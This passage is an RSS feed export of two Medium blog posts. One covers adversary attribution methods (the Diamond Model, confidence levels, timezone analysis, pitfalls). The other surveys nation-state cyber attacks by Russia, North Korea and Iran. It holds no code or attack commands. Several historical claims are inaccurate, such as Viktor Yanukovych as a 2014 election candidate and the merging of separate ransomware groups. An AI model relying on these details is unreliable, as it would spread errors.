<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by The Dark Lord on Medium]]></title>
        <description><![CDATA[Stories by The Dark Lord on Medium]]></description>
        <link>https://medium.com/@the-dark-lord?source=rss-87b3b778a4a7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*tAoUatf_KvhN6gmeyNt_SQ.jpeg</url>
            <title>Stories by The Dark Lord on Medium</title>
            <link>https://medium.com/@the-dark-lord?source=rss-87b3b778a4a7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 19:12:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@the-dark-lord/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Adversary attribution — Part-2]]></title>
            <link>https://the-dark-lord.medium.com/overview-f8388ad022b9?source=rss-87b3b778a4a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/f8388ad022b9</guid>
            <category><![CDATA[attribution]]></category>
            <category><![CDATA[threat-modeling]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[The Dark Lord]]></dc:creator>
            <pubDate>Sun, 05 May 2024 21:02:01 GMT</pubDate>
            <atom:updated>2024-05-05T21:08:07.442Z</atom:updated>
            <content:encoded><![CDATA[<h3>Adversary attribution — Part-2</h3><h3>Overview</h3><p>In the <a href="https://medium.com/@the-dark-lord/analyzing-advanced-cyber-threats-nation-state-actors-part-1-bba21b2c7c84">first part</a> of the three part series, we took a look at what nation-state actors are, what sets them apart, and some of the prominent nation-state led cyber attacks and espionage over the last few decades</p><p>The continuation from the last blog , we move ahead and look into topics like threat group classification, adversary attribution and avoiding some common pitfalls.</p><h3>Adversaries and attribution</h3><p>First step of attributing any threat is classifying it. From the point of cybersecurity, usually the adversarial threats are of most importance. However, there are other threats which an organization must assess when</p><h3>Threat Group classification</h3><p>This is different from threat classification, here we are just classifying the group/actor behind the threat and assigning plausible motives, their risk averseness varies</p><h4>Hacktivism</h4><p>Usually goal to bring issues into public light for their causes, political motivations and advocacies. Usually resort to DDoS attacks, leak data and embarrass organizations , and also engage in website defacement.</p><h4>Cybercrime</h4><p>Organized criminal groups operate differently from espionage and hacktivist groups, they usually have financial goals in mind, and operate from countries with weak cyber laws. Some of the criminal groups (REvil) have long been deemed to have government ties (REvil members were arrested in 2022 in Russia). Have achieved high level compromises, within retail and consumer finance industries. Often offer criminal services for hire on the dark web — RaaS Ransomware as a service and MaaS Malware as a Service to name a few. Some organizations even offer Botnet/Hacking Infrastructure to be leased out which is lucrative to cybercriminals as it prevents them from being traced back from the attack (Eg Bulletproof Hosting)</p><h4>Cyber espionage</h4><p>Mostly nation state actors whose goals involve stealing of proprietary military information from adversaries, gather counter intelligence data in order to gain geopolitical advantage. Though rare, these pose the greatest level of threat to an organization. Like highlighted earlier , these adversaries have the highest amount of resources, skill and patience to achieve their desired objectives.</p><p>While <strong>phishing/spearphishing</strong> continues to be the most common delivery methods across different kinds of cyber attacks, the phishing emails used by nation state actors vary as they are extremely tailored to the target individual group, and goes to a greater extent even to analyze the victim’s taste and interest to achieve a greater level of success (the information is gathered using social engineering from the victim)</p><p><strong>Waterhole attacks</strong> are another way of compromise used by such actors, but the caveat being , instead of attracting the whole internet traffic and plausible public attention, these attacks are often tailored to work or execute only if a certain timezone or language setting (browser info) is detected. This also has the added benefit of reducing noise and load on the attacker infrastructure.</p><p><strong>USB drop attacks</strong>: While usually uncommon for nation-state actors to employ this, this has been a tool of choice in compromise of airgapped networks and sensitive targets such as</p><h3>Attribution</h3><p>The NIST framework <strong>(NIST-800–61)</strong> enlists the steps of the incident response process as having 4 steps:</p><p><strong>1.Preparation-&gt;2.Detection &amp; Analysis-&gt;3. Containment, Eradication &amp; Recovery-&gt;4. Post Incident/Lessons Learned</strong></p><p>The attribution to an attacker might not make sense in all usecases, and happens during the <strong>containment , eradication and recovery phase</strong> which involves identifying an attacker and motives. Attribution is extremely complex, so it is important to ascertain, if this is something worth investing time and resources into. Additionally , nation state actors are notorious for using deception to throw off security researchers, so it is important to conduct the attribution in <strong>repeatable and consistent</strong> manner.</p><p>Attribution must rely on <strong>evidence</strong> and never from <strong>assumptions</strong>. Wrong attributions can lead to misdirecting of resources, provide <strong>faulty inteligence</strong> , leading investigators to a wild goose chase and prevent the use of critical resources in defending one resource erroneously over the other.</p><p>Remember no matter how big or major the cyberattack, there are humans behind it who are bound by habit and behaviors, and preferences.</p><h3>Attribution models</h3><h3>The Diamond Model for intrusion analysis</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-sCIqiiKOZVst_NkLVcr8A.png" /><figcaption>Diamond model of intrusion analysis is commonly used for attacker attribution</figcaption></figure><p>The vertices are the important aspects of the intrusion analysis and called <em>core features</em></p><p>The edges are called meta features, which are start/end timestamps phase,result, direction, methodology and resources</p><p>The <em>confidence value</em> is not shown in the diamond model but useful for analysts to determine on their own based on their work</p><h3>Custom Model of Intrusion Analysis — Jon Dimaggio</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*G1HXROhASBPUfqC87EguIw.png" /><figcaption>Source: Inspired from Jon Dimaggio — Art of cyberwarfare</figcaption></figure><h4>Attribution Confidence</h4><p>Complete confidence in attribution is extremely rare. It is important for the analyst to categorize/quantify the confidence they have for understanding the reliability and further use.</p><p><strong>Low:</strong> Attribution is weak or there is little to no evidence, or circumstantial</p><p><strong>Medium</strong>: Atleast one quadrant of the intrusion attribution is satisfied or tied to the same actor/group</p><p><strong>High:</strong> Strong evidence from all/multiple quadrants to support attribution assessment that proves beyond reasonable doubt that the group/actor was behind the attack to anyone who is reviewing the evidence.</p><p>With nation state it is important to proceed with caution as there might be plenty of false flags and deception/false evidence which might lead to a false sense of confidence in attribution</p><h4>Attribution steps</h4><ol><li><strong>Gather:</strong> Stage where analysts gather data, and eventually prune and coalesce it to have <em>attributable</em> data. Examples of relevant data include information about Infrastructure, malware,persona, botnet/bot ownership etc. Scanning hacking forums, scouring dark web, and using OSINT is key here.</li><li><strong>Assess:</strong> Process and analyze it. Many , many analysis techniques can be employed depending on the nature of data. For malware/binaries, it could be string analysis/dynamic analysis. <em>Timezone analysis</em> is often used in aiding attribution to a nation state, as nation state actors employ individuals who likely work a 9–5.</li><li><strong>Hypothesize</strong> : Brainstorm ideas, look at the complete analysis conducted in the ‘assess’ step and follow where it leads. Also, what hints/motivations do the outliers provide?</li><li><strong>Challenge/Defend</strong>: The team comes together defending and challenging hypothesis to make them solid, cover up holes or even concluding that none of the existing hypotheses meet the criteria.</li><li><strong>Confidence assessment</strong>: Assessing the level of confidence that can be placed on the hypotheses collectively by the team based on all previous steps and the findings being analyzed.</li><li><strong>Document</strong>: Give the attacker a name/pseudonym and record the information of the previous steps under the attacker’s threat profile.</li></ol><h3>Analysis methods</h3><p>While going through every analysis method would be unfeasible to go through in a blog, we can look at some key techniques that have been used for performing various attribution. These analysis methods are not clearly defined technical pathways, but instead offer a direction to underpin the lines of thought/procedures in understanding data and available metrics.</p><h3>Identifying overlapping TTPs</h3><p>TTP’s is an acronym for Tactics, techniques and procedures. These can be more clearly understood with a knowledge to use and employ the MITRE framework.</p><p><strong>Tactics:</strong> The adversary’s technical goals or objectives. These are the <strong>“why’s”</strong> — the real reason why the attacker is doing what they are doing. The objectives/goals behind the action.</p><p><strong>Techniques:</strong> Within each tactic, there is a technique to achieve the goal aka <strong>the how</strong></p><p>In <strong>groups</strong>, the group names are names of the threat actors are listed.(with some overlap as a group can show up with multiple names) along with what techniques the threat actor.</p><p><strong>Procedures:</strong> This is looking at the <strong>how</strong> but at a deeper/technical level including details about how the technique is carried out/implemented in the wild, along with the groups that have been observed using it.</p><p>TTPs are key to understanding attacker’s motivations and the agent behind the attacks.</p><h3>Timezone analysis</h3><p>Timestamp logs from incident data can be a key metric to disclose information about the attacker. In building a CSIRT or incident response program, synchronizing NTP or device clocks is often stressed upon, as timestamps indeed are an invaluable metric.</p><p>Obviously, the first step would be to collect the relevant incident data and document the timestamps when each key event took place. For this analysis, we need to separate incidents into plausible automated runs/scheduled backdoors etc and something that requires human-keyboard i.e manual interaction to plunge deeper into the victim infra. Often , this is done in the “action-on-objectives” or “post-compromise” phase.</p><p>For malware analysis, compile time or times when the binaries was edited. However, it is important to note here that such information is only useful if the malware has not been reused.</p><p>Using a data analysis tool like splunk/kibana, you can then plot this information on a bubblechart aggregating maybe on a bucket like 10 or 5 minutes. A normal working time, being of 8–9 hours, and likely a day job, you can overlay a timezone graph (UTC/EST) to see where the maximum weight of the bubbles lie.</p><p>Refer source: <a href="https://pwc.blogs.com/cyber_security_updates/2017/05/index.html"><em>Timezone analysis done by PWC on APT 10</em></a></p><h3>Common Pitfalls</h3><p>It is easy to fall into some common pitfalls, and jump into conclusions hastily. Depending on the situation, these pitfalls would be applicable/more likely to fall into.</p><ul><li><strong>Data timezone</strong> When data is collected from cloud/endpoints, servers, CDNS, they could have different timestamps based on the event occurrence. Before the timezone analysis, it is key that epoch values are used to eliminate this.</li><li><strong>Misattribution based on IPS/Hostnames/DDNS/Proxy Networks</strong>: Dynamic DNS has become prevalent in hosting c2 infrastructure in attempts to obfuscate tracebacks to the source, providing a degree of anonymity. Residential proxies, proxies for hire have also become common where a normal user could rent their device to be used as proxy which could be used for nefarious means , often without the user’s knowledge. Hence subdomains of a DDNS provider may belong to completely different attacker without the parent domain owner being involved in any one of them. The above goes true for IP addresses as well. Two different domains maybe hosted on the same IP at different times. Two different bad actors might reuse the same IP to host their infra on it at two different times, and it is important to assume they are under the same ownership, <strong>even though it might be likely</strong> so. (<em>_Whoisology.com</em> is a good tool to track domain registration data over time)</li><li><strong>Avoid attribution based on duplicate/public tools</strong>: Since these can be used by any actor at will, attribution based on this will be most likely inaccurate. Some of these might not be on the indexed web, but if they are present or being advertised on dark web forums, it could be used by multiple actors. It is important to hash these out before using this as attributing evidence.</li><li><strong>Attributions don’t have to be precise</strong>: Attributions may not always point to an individual or group, and could be less precise like a geographic region.</li><li><strong>Don’t work your way back</strong>: Don’t investigate with conclusions, and try to reverse your way to the beginning i.e don’t let the preconceived notions dictate investigation. Positive affirmation bias can poison your investigation causing you to weigh data points agreeing with your conclusion more than the ones that don’t. Always question your investigation, and hash out questions/doubts loudly and clearly.</li></ul><h3>What’s next?</h3><p>In part 3 of this, I will continue with importance of threat profiling, some analysis techniques for email/malware, OSINT hunting and concluding with some tools that can be of help for the same.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f8388ad022b9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Analyzing Advanced Cyber threats — Nation State Actors — Part 1]]></title>
            <link>https://the-dark-lord.medium.com/analyzing-advanced-cyber-threats-nation-state-actors-part-1-bba21b2c7c84?source=rss-87b3b778a4a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/bba21b2c7c84</guid>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[threat-analysis]]></category>
            <category><![CDATA[nation-state]]></category>
            <category><![CDATA[espionage]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[The Dark Lord]]></dc:creator>
            <pubDate>Mon, 26 Feb 2024 23:09:40 GMT</pubDate>
            <atom:updated>2024-05-05T20:54:34.184Z</atom:updated>
            <content:encoded><![CDATA[<h3>Analyzing Advanced Cyber threats — Part 1</h3><h3>Overview:</h3><p>In a 3 part series, let’s try to understand some of the most powerful albeit not that commonly-observed actors in the cyberspace. We will start off by understanding what nation-state actors are, what sets them apart, and what can be done to improve threat profiling and threat hunting process, and the common tools that can be leveraged for the same.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*daoYP9AAUFI_f5w3.jpg" /><figcaption>Src: Spiceworks</figcaption></figure><h3>Understanding Nation State Actors</h3><p>Analyzing threat actors, adversaries and building threat profiles is key to improving cybersecurity posture and ensuring that we are not stuck in a reactive state of cyber defense. Understanding adversary goals, behaviors and techniques helps us direct key resources to protect the most critical of resources that will be targeted by the adversary, and ensuring a prompt response. This blog is a stepping stone and guide to getting started in understanding advanced adversaries i.e nation-state actors.</p><p>According to <strong>Mircrosoft’s Cyber Defense </strong><a href="https://www.spiceworks.com/it-security/security-general/news/nation-state-cyberattacks-escalating/"><strong>report </strong></a><strong>of 2022</strong>, nation-state attacks are on a sharp rise. While nation-state attacks are few, once an organization is targeted and breached they can cause the most amount of damage(Impact) to the organization. Risk is usually represented as a product of magnitude of Impact and likelihood of occurrence, and in the case of nation state, though the likelihood will be dependent on the lucrativeness of the target to the actor, the magnitude is extremely high. Nation-state actors have been observed to target organizations from casinos, hospitals, banks to universities, so it would be wise to have a an understanding of these actors and have a mitigation, prevention and detection plan in place.</p><p>This blog is no where near exhaustive, but serves as more of a cursory guide to getting started in understanding nation-state actors and espionage. I have split this blog into several parts covering the analysis and threat modelling of advanced cyber threats. In the first part, I briefly iterate over some of the past nation-state attacks, and provide supplementing links. In the 2nd part, I provide some useful tools for getting started into threat hunting/best practices when dealing with such threats, and some useful reading resources.</p><h3>What sets a nation state actor apart?</h3><ul><li><strong>Vast resources, time and infrastructure</strong> to pull of seemingly impossible attacks including and not limited to bypassing/circumventing PKI and HTTPS,exploiting fully patched systems with zero-days, compromising air gapped networks. They have enough money and connections to pay people and convert them to be intentional insiders.</li><li><strong>Patience</strong>: Patience to learn behaviors and persist in the network, before action on objectives</li><li><strong>Deception</strong>: A lot of resources are spent by nation state actors in misdirection so that the investigators are not able to trace the attack back to them. This ranges from placing code samples from other nation state actors or placing language strings related to other actors in files to make attribution difficult at best and extremely tedious at worst.</li><li><strong>Precision</strong>: Nation state actors are known to customize their malware/exploits based on the target after spending time in the target network, and understanding policies and procedures which help them avoid detection and execute action on objectives without failures.</li><li><strong>Resilience</strong>: continuous attempt until success, use of more advanced techniques and more resources in subsequent attempts.</li><li><strong>Averse to deterrence controls</strong>: The nation state actors usually operate unethically, and without fear of criminal prosecution. Often they disguise themselves under different monikers to brush claims/ties with nation state and dodge sanctions. The highest risk of nation state actors is attribution and detection, as once detected they have to change their infrastructure and techniques to succeed again.</li></ul><h3>Most powerful nation state actors active today</h3><ul><li><strong>United States (NSA/CIA)</strong></li><li><strong>Israel (Mossad/Unit 8200)</strong></li><li><strong>China (People’s Liberation Army — PLA)</strong></li><li><strong>Russia</strong> (<strong>SVR</strong>)</li><li><strong>Iran (IRGC/ICA/Aashiyane/MABNA)</strong></li><li><strong>North Korea (Unit 121/Lazarus Group)</strong></li></ul><h3>Nation-State backed Cyber attacks</h3><p>While most of the attacks probably go undetected and probably not attributed with a hundred percent certainty, but these are some of the interesting cyber attacks by nation states that caught the public attention. I have attached some resources, news articles for the ones I kept tabs on. Understanding how an adversary acts, the research they do, and the nature of delivery methods and techniques are critical for protecting against these deceptive , persistent and highly sophisticated actors</p><h3>Russia</h3><p>Russia operates one of the most advanced cyber offensive programs and has a long history of cyberattacks against what it considers the supporters of western imperialism and the United states , going back as far as the <a href="https://thinksetmag.com/insights/kalat-star-wars">1980s</a>. <em>(PS: Currently, I am reading the book “The Cuckoo’s egg” aka the story about the world’s first honeypot, and recommend it to anyone who is interested in learning/reading about codebreaking and espionage)</em></p><ul><li><strong>REVIL/Sodikonobi/EvilCorp</strong>/<strong>Darkside</strong>: Highly skilled set of cyberattackers which were for long suspected to be backed by the Russian government until their arrest in <a href="https://www.bbc.com/news/technology-59998925">2022</a>. They have used several monikers like EvilCorp and Darkside, these however could just be offshoots or branches, but the ransomware code has been found to bear similarities across these cybercrime actors.</li><li><strong>RYUK: </strong>Ransomware attributed to the adversary group Wizard Spider (also the group behind trickbot and the notorious banking trojan Emotet) which targeted mostly government and healthcare organizations around 2018. Though it is suspected, that the organization behind these operate out of both Ukraine and Russia.</li><li><a href="https://www.cisa.gov/news-events/news/attack-colonial-pipeline-what-weve-learned-what-weve-done-over-past-two-years"><strong>Colonial Pipeline attack</strong></a><strong> :</strong> Darkside was behind the infamous colonial pipeline attack in 2021, a cyber attack that forced the President to declare an emergency. Darkside has been detected to have close ties with the Ransomware group REvil.</li><li><a href="https://en.wikipedia.org/wiki/Moonlight_Maze"><strong>Moonlight Maze , 1999</strong></a> Probably the earliest known publicly acknowledged nation-state espionage attacks by Russia against the United States, against DoD and Brookhaven national Laboratory with the purpose of stealing classified information pertaining to defensive technologies related to the detection and mitigation of ICBMs. The research into this cyber espionage indicated that this wasn’t an isolated incident but part of a operation that was orchestrated for the long-term and designed to steal sensitive data from the US. In January 1999, in response to the first detection of this attack on the Brookhaven National Lab, the DoD setup a honeypot and then corelate the activities to IPs associated with Russian Academy of Sciences. The Threat actor Turla infamous for the Aagent.BTZ computer virus, was found to use the same rare Linux backdoor code samples.</li><li><a href="https://www.industrialcybersecuritypulse.com/facilities/throwback-attack-russia-launches-its-first-cyberattack-on-the-u-s-with-moonlight-maze/">https://www.industrialcybersecuritypulse.com/facilities/throwback-attack-russia-launches-its-first-cyberattack-on-the-u-s-with-moonlight-maze/</a></li><li><a href="https://www.secureworld.io/industry-news/moonlight-maze-lives-on-researchers-find-link-to-current-apt">https://www.secureworld.io/industry-news/moonlight-maze-lives-on-researchers-find-link-to-current-apt</a></li><li><a href="https://www.cfr.org/cyber-operations/estonian-denial-service-incident"><strong>Estonia Conflict,2007</strong></a>: Russian backed actors used a botnet (a largely unheard of technique at that time) to attack Estonia’s financial institutions to protest the prohibition of display of monuments that glorified soviet union</li><li><a href="https://en.wikipedia.org/wiki/Cyberattacks_during_the_Russo-Georgian_War"><strong>Russia-Georgia war,2008</strong></a>: DDoS attacks against Georgia’s financial institutions and media companies carried out by Russia. Turkish and Ukrainian infrastructure were also targeted.</li><li><strong>Ukraine Election Hack 2014</strong>: “Cyberberkut” a ‘pro-Russian’ hacktivist group claiming to be based out of Ukraine ran a disinformation campaign on social media,DDoS attacks against cellular networks and NATO websites in favor of pro-russian Ukrainian Presidential candidate Viktor Yanukovych. They also were stated to have compromised election comittee servers and wiped out all internal data (which the group denied).Cyber-berkut was later identified to have russian ties and a branch of the Russian Intelligence Agency, and would reappear in the attack on DNC . Though this attempt was foiled by the admins removing the malware before it could execute, it’s success could have had the election to be forfeited and hemorrhaged the public trust in election integrity</li><li><a href="https://www.wsj.com/articles/ukraine-cyberwars-hottest-front-1447121671">https://www.wsj.com/articles/ukraine-cyberwars-hottest-front-1447121671</a></li><li><a href="https://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruction-from-hackers">https://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruction-from-hackers</a></li><li><a href="https://www.kyivpost.com/post/7672">https://www.kyivpost.com/post/7672</a></li><li><strong>Red October</strong>: Termed as the swiss-army knife of malware due to the versatility of attack vectors it could deploy and systems it could exploit, it is one of the most advanced cyberespionage campaign that was designed to target diplomatic, government and scientific organizations in former members of the Soviet Union(USSR). This malware was designed with varied modules for recon, exploitation, usb exfiltration, email exfiltration, persistence , keylogging and credential theft with adaptability. The malware would store data when it would be unable to exfiltrate, and had a vast C2 infrastructure.</li><li><a href="https://www.industrialcybersecuritypulse.com/threats-vulnerabilities/throwback-attack-red-october-is-the-swiss-army-knife-of-malware/">https://www.industrialcybersecuritypulse.com/threats-vulnerabilities/throwback-attack-red-october-is-the-swiss-army-knife-of-malware/</a></li><li><strong>US Election (DNC Guccifer Hack), 2016</strong>: The group that was behind conducting propaganda campaigns in 2016 U.S election on social media was earlier detected in the Ukrainian election hack of 2014. This also brought into light the massive cambridge-analytica data scandal which conduct ed business talks with the <a href="https://www.nytimes.com/2018/03/17/us/politics/cambridge-analytica-russia.html">Trump campaign</a>. In addition to this Hilary’s campaign manager John Podesta fell victim to a phishing campaign, despite checking this with the IT team, Podesta clicked on the malicious link compromising his laptop. The actor behind it claiming to be “Guccifer” initially disputed claims to be associated with Russia, and said they were Romanian and an independent actor. In the end however, it was clear with analysis of the malware,tactics used and facts unearthed in an audio interview that the actor’s claims of being romanian were false, and they were backed by nation state. The actor posted their findings in a website called “dcleaks.com” which was later taken down , and now it can be found on the wayback machine</li><li><a href="https://www.theguardian.com/news/2018/may/06/cambridge-analytica-how-turn-clicks-into-votes-christopher-wylie">https://www.theguardian.com/news/2018/may/06/cambridge-analytica-how-turn-clicks-into-votes-christopher-wylie</a></li><li><a href="https://archive.org/details/CF_Leaks_10-4-16/2015%20-%202016%20LGBT/6.8.15%20NYC%20Breakfast/6.8.15%20NYC%20Breakfast%20Invite/">Wayback Machine DcLeaks</a></li><li><a href="https://www.washingtonpost.com/technology/2018/07/16/twitter-suspends-guccifer-dcleaks-after-mueller-links-them-russian-hacking-operation/">https://www.washingtonpost.com/technology/2018/07/16/twitter-suspends-guccifer-dcleaks-after-mueller-links-them-russian-hacking-operation/</a></li><li><strong>French Presidential Election, 2017</strong>: Alleged russian interference attempt in the French Presidential election of 2017. The current president and then candidate was targeted with a phishing email which was disguised as coming from the campaign’s media and press head. A russian attacker , Antoliy Kovalev was identified to be the one behind the attacks, and was supposedly part of Russia’s GRU agency. A lot of data which was fabricated was leaked along with actual data to hamper his chances of winning the election. This along with the DNC election hack in 2016, and the Ukrainian election attacks provided key insights to understanding the Russian Election hacking model.</li><li><a href="https://www.pbs.org/newshour/world/macron-data-leaked-french-election">https://www.pbs.org/newshour/world/macron-data-leaked-french-election</a></li><li><a href="https://www.theguardian.com/world/2017/may/06/emmanuel-macron-targeted-by-hackers-on-eve-of-french-election">https://www.theguardian.com/world/2017/may/06/emmanuel-macron-targeted-by-hackers-on-eve-of-french-election</a></li></ul><h3>North Korea</h3><p>North Korea is a patient and dangerous cyber attacker which is notorious for attacks on financial institutions, banks, news media and government institutions, especially targeting those in weaker economies. Until 2011, the nation had barely any connection or investment in cyber attacks. North Korea’s current leader, Kim Jong Un spent considerable time studying computer science and likely realized the importance of cyberwarfare. Due to economic sanctions placed on the country, the nation-state attacker targets financial institutions for laundering money ranging in the billions of dollars. The complicated North korean financial threat model deserves a blog on its own. Most of the North korea’s cyber operations fall under the <strong>division 121</strong> which is an extension of the Reconnaissance General Bureau and operates out of China.</p><ul><li><strong>Dozer (1990s-2009)</strong>: Wide scale attack on financial institutions which was attributed to North Korea. The notorious Dozer malware was dropped using Phishing emails. One of the first publicly seen attack on financial institutions by nation state actor and was active until the early 2000s. There were other institutions targeted besides the financial ones across South Korea and United States like media and government. These would later in 2014 be attributed to the Lazarus group by the United States, along with the 2013 Darkseoul attack.</li><li><a href="https://en.wikipedia.org/wiki/2009_DDoS_attacks_against_South_Korea">https://en.wikipedia.org/wiki/2009_DDoS_attacks_against_South_Korea</a></li><li><a href="https://www.darkreading.com/cyber-risk/cyber-attack-code-starts-killing-infected-pcs">https://www.darkreading.com/cyber-risk/cyber-attack-code-starts-killing-infected-pcs</a></li><li><strong>Darkseoul,2013</strong>: In 2013, Trend micro discovered a wave of spearphishing emails attempting to breach financial institutions in South Korea. The wiper malware wreaked havoc and destroyed infrastructure causing outages. The wiper malware wipes the MBR making recovery difficult. The infrastructure for the malware was setup in china, which caused an initial misattribution to china (alongside chinese names being uncovered in the malware analysis). False social media profiles and groups were setup taking credit for the attack, to misdirect and misguide attribution attempts</li><li><a href="https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/Dark_Seoul_Cyberattack.pdf">https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/Dark_Seoul_Cyberattack.pdf</a></li><li><a href="https://www.cisa.gov/sites/default/files/publications/South%20Korean%20Malware%20Attack.pdf">https://www.cisa.gov/sites/default/files/publications/South%20Korean%20Malware%20Attack.pdf</a></li><li><a href="https://www.giac.org/paper/gsec/31524/tracing-lineage-darkseoul/126346">https://www.giac.org/paper/gsec/31524/tracing-lineage-darkseoul/126346</a></li><li><strong>Sony Hack , 2014</strong>: The comedy film “The Interview” which was a story about two people set to interview the North Korean dictator Kim Jong Un, was not appreciated by the North Korean government and threatened action against the US and Sony pictures if they released the film. Though Sony reedited and cut out scenes to pacify them, it would not be enough. In one of the most notable cyber attacks, it crippled Sony by leaking confidential information of employees, leaked info about unreleased films, and other movies were released to be downloaded and pirated costing the company millions, which also led to the firing of <a href="https://www.theguardian.com/film/2015/feb/05/amy-pascal-leaving-sony-pictures-email-leak">employees</a> . A second phase of the attack, released a destructive wiper malware <em>Backdoor.destroyer</em> to sabotage Sony’s infrastructure and wipe data. Many theatres fearing similar retaliation had to pull screening of the movie , further worsening the impact blow.</li><li><a href="https://arstechnica.com/information-technology/2014/12/sony-pictures-malware-tied-to-seoul-shamoon-cyber-attacks/">https://arstechnica.com/information-technology/2014/12/sony-pictures-malware-tied-to-seoul-shamoon-cyber-attacks/</a></li><li><a href="https://www.justice.gov/opa/pr/north-korean-regime-backed-programmer-charged-conspiracy-conduct-multiple-cyber-attacks-and">https://www.justice.gov/opa/pr/north-korean-regime-backed-programmer-charged-conspiracy-conduct-multiple-cyber-attacks-and</a></li><li><strong>Bank of Bangladesh Hack</strong>: <a href="https://www.fbi.gov/wanted/cyber/park-jin-hyok">Park Jin Hyok</a> , a north korean citizen was issued with a criminal complaint by the United states department of justice in 2018 for several computer related crimes. The attack was devastating where the attackers spent a long time studying and understanding the environment before proceeding with execution. Park did incisive analysis into the social media accounts of employees, the bank website, and spent time studying the environment to craft out tailored exploits. Spearphishing emails were sent , and these were crafted specifically with each individual’s interest/hobbies etc to increase chances of a clickthrough. They managed to steal millions in USD with fraudulent transactions by compromising the SWIFT systems, and were only caught because of a typo detected by the Federal Reserve Bank of New York, which notified the Bank of Bangladesh — this prevented the theft from being in the billions.</li><li><a href="https://www.justice.gov/opa/pr/north-korean-regime-backed-programmer-charged-conspiracy-conduct-multiple-cyber-attacks-and">https://www.justice.gov/opa/pr/north-korean-regime-backed-programmer-charged-conspiracy-conduct-multiple-cyber-attacks-and</a></li><li><a href="https://www.bbc.com/news/stories-57520169">https://www.bbc.com/news/stories-57520169</a></li><li><strong>FASTCash</strong>: Fastcash is a malware designed by North Korea for financial fraud for which the US Department of Homeland security issued an advisory in 2018. This malware was designed to exploit vulnerable AIX systems and execute fraudulent transactions in banks across 20+ countries in 2017. This malware was seen in 2020 with newer versions, when it encountered AIX systems which weren’t vulnerable, and exploit Windows servers as well.</li><li><a href="https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware">https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware</a></li><li><a href="https://www.bankinfosecurity.com/lazarus-fastcash-bank-hackers-wield-aix-trojan-a-11694">https://www.bankinfosecurity.com/lazarus-fastcash-bank-hackers-wield-aix-trojan-a-11694</a></li><li><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-239a">https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-239a</a></li></ul><h3>Iran</h3><p>Iran has spent a considerable amount of time and effort developing infrastructure for cyberwarfare which it uses to attack governments and institutions it views conflicting with their Islamic doctrine. They have also used this to spy on their citizens who are critical of the regime. Iran has banned VPNs, social media and encrypted messaging applications. The ICA (Iranian Cyber Army) has targeted organizations and individuals who they believed to oppose Iran since 2009. The Iranian hacker group “Aashiyane” is believed to be linked with the ICA, with several corroborating evidence such as the similarity of defacement messages the two groups have used. Iran was always believed to be novice in terms of impact and sophistication as compared to other nation states such as US and Russia — However, this changed in early 2011.</p><ul><li><strong>Diginotar breach — Gmail, 2011</strong>: It all began with the compromise of a dutch root certificate provider, Diginotar. This compromise by the nation state actor meant it could now issue and verify certificates to a organization of their choosing. The attackers issued and verified a false certificate for gmail. The takeover of Diginotar meant that they could issue fraudulent certificates and certify them as legitimate. This affected users within the Iranian address space who were notified with expired certificate message, and accept the new fraudulent certificate enabling the attacker to perform a MITM attack. There is still no clarity how a root certificate authority which should have extensive physical controls and keep the critical areas air gapped and secure were breached.</li><li><a href="https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/">https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/</a></li><li><a href="https://spectrum.ieee.org/diginotar-certificate-authority-breach-crashes-egovernment-in-the-netherlands">https://spectrum.ieee.org/diginotar-certificate-authority-breach-crashes-egovernment-in-the-netherlands</a></li><li><a href="https://security.googleblog.com/2011/08/update-on-attempted-man-in-middle.html">https://security.googleblog.com/2011/08/update-on-attempted-man-in-middle.html</a></li><li><strong>Aramco Attack </strong>:In 2012, destructive Shamoon Wiper malware affected Aramco, a large government owned Saudi Arabian oil company. Over 30k systems were wiped (~85% of their entire infrastructure) within a short duration and replaced with the burning American flag, coercing the company to take the entire infrastructure offline. It is speculated that an intentional insider plugged in a USB drive, initiating the infection. The group “Cutting sword of Justice” claimed responsibility via <a href="https://pastebin.com/HqAgaQRj">pastebin</a> around 2 hrs before the attack , around 9am in the morning. What didn’t help Aramco, was that the network was largely unsegmented/flat and unregulated , allowing the wiper to spread unchallenged and wipe MBR.</li><li><a href="https://darknetdiaries.com/episode/30/">https://darknetdiaries.com/episode/30/</a></li><li><a 